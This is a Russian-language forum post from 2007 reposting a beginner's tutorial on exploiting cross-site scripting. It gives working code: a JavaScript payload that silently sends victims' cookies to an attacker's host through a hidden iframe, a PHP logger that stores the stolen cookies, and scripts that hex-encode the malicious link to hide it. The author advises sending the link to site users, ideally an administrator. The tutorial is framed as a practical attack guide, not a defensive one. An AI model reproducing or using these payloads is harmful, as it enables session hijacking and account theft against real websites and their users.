Компьютерный форум NoWa.cc Здесь может быть Ваша реклама
Правила Форума
редакция от 22.06.2020
Портал .::2BakSa.WS::.
Вернуться   Компьютерный форум NoWa.cc > Компьютеры и Интернет > Интернет партизаны > Статьи

Уважаемые пользователи nowa.cc и 2baksa.ws. У нас сложилось тяжёлое финансовое положение. Мы работаем для вас вот уже более 15 лет и сейчас вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney WMZ: 826074280762 Webmoney WME: 804621616710
PayPal PayPal_Email E-mail для связи по вопросу помощи
Кошелёк для вашей помощи YooMoney 4100117770549562
YooMoney Спасибо за поддержку!
Закрытая тема
 
Опции темы Опции просмотра Language
Старый 19.07.2007, 13:31   #1
Постоялец
 
Аватар для WeNZeeR
 
Пол:Мужской
Регистрация: 14.12.2006
Сообщений: 546
Репутация: 576
Question XSS, - введение, статья для начинающих by Jenizix

Автор: Jenizix, WHB (Web-Hack Board)

Ну найти в интернете описание XSS-бага я думаю труда не составит...
Перейдем сразу к использованию:

-= 3-2-1 go! =-
Сначала зарегистрируем ( или возьмем имеющийся ) домен с хостингом ( пофиг какого уровня =)))) ) с поддержкой PHP...
допустим мы зарегили xss.host.ru...

Создадим файл xss.js с таким содержимым:
Код:
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://xss.host.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');

Этот JavаScript будет открывать невидимый iframe на странице, в котором будет гризиться наш скрипт принимающий куки... + ему будет передаваться имя сайта откуда куки были стырены.
Я выбрал тег <iframe> т.к. у некоторых отключен показ рисунков => тег <img> не прокатит... да и попапы могут резаться...

Теперь создадим файл xss.php:
Код:
<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?>
Этот скрипт будет записывать дату и полученое "печенье" в файл cookies

Закинем оба файла в веб-директорию нашего сайта... ну вощем чтоб они были доступны как
Цитата:
_http://xss.host.ru/xss.js

и
Цитата:
_http://xss.host.ru/xss.php

-= Боевые действия =-
Ну теперь найдем бажный сайт с XSS уязвимостью. Допустим уязвимость будет тут:
Цитата:
_http://site.ru/find.php?find=[xss]

ок. уязвимость есть. пошлем скрипту find.php
запрос типа
Код:
find.php?find=<script src=http://xss.host.ru/xss.js></script>
и затем открываем
Цитата:
_http://xss.host.ru/cookies

и видим стырены куки! =)))

-= Шифруемся =-

НО! В открытую этот линк кидать не стоит... палевно... сделаем так, напишем php-скрипт для кодировки символов в hex и для разкодировки из hex:

hex.php:
Код:
<?
$str = urldecode($_SERVER['QUERY_STRING']);
for($i=0;$i<strlen($str);$i++) {
$hex=dechex(ord($str[$i]));
if($str[$i]=='&')
           echo "$str[$i]";
        else
           echo "%$hex";
}
?>
ну и unhex.php:
Код:
<?
echo urldecode($_SERVER['QUERY_STRING']);
?>

например нам нужно чтобы юзер прошелся по этой ссылке:
Цитата:
_http://site.ru/find.php?find=<script src=http://xss.host.ru/xss.js></script>

но как я уже говорил, в открытую ее ему кидать - палевно... заюзаем наш hex.php:
Цитата:
_http://xss.host.ru/hex.php?<script src=http://xss.host.ru/xss.js></script>

Получим вот что:
Цитата:
%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%78%73%73%2e
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e


это hex представление текста: <script src=http://xss.host.ru/xss.js></script>

Теперь наша ссылка будет выглядеть вот так:
Цитата:
http://site.ru/find.php?find=%3c%73%...2f%78%73%73%2e
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e


Как видите, не очень и палиться =)))

Теперь осталось скинуть этот линк какомунибудь юзеру ( а лучше админу ) сайта site.ru и ждать его куков ( если конечно они там юзаются )...
Куки могут быть в hex-виде... тут нам придет на помощ unhex.php:
Цитата:
_http://xss.host.ru/unhex.php?[тут_куки]

-= Подводим итоги =-
Теперь у нас есть полноценные скрипты для проведения XSS-атаки.
Еще можно наш xss.js прогнать через hex.php чтоб еще побольше обезопаситься )))
__________________
Sometimes the life chooses for us..
Если человек идиот он должен знать об этом. (c) me

Последний раз редактировалось WeNZeeR; 31.07.2007 в 14:18..
WeNZeeR вне форума
 
Вверх
Эти 10 пользователя(ей) сказали cпасибо за это полезное сообщение:
Здесь может быть Ваша реклама
Здесь может быть Ваша реклама


Реклама: как использовать воск для брекетовкарамзин теплоход расписание 2024привод pds 05/230.dt (для засл. выт. канала)эутомаРекомендуем супермаркет КНС.ру - powerman online - более 50-ти тысяч наименований товаров со склада в Москве


Закрытая тема


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Статья 12.15 ч.1 DI__MON Административное право 9 14.10.2009 07:43
Русский рукопашный бой [Введение] Meverik Различные ссылки 1 09.10.2005 15:36

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 19:21. Часовой пояс GMT +3.


Copyright ©2004 - 2024 2BakSa.WS

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.15131 секунды с 11 запросами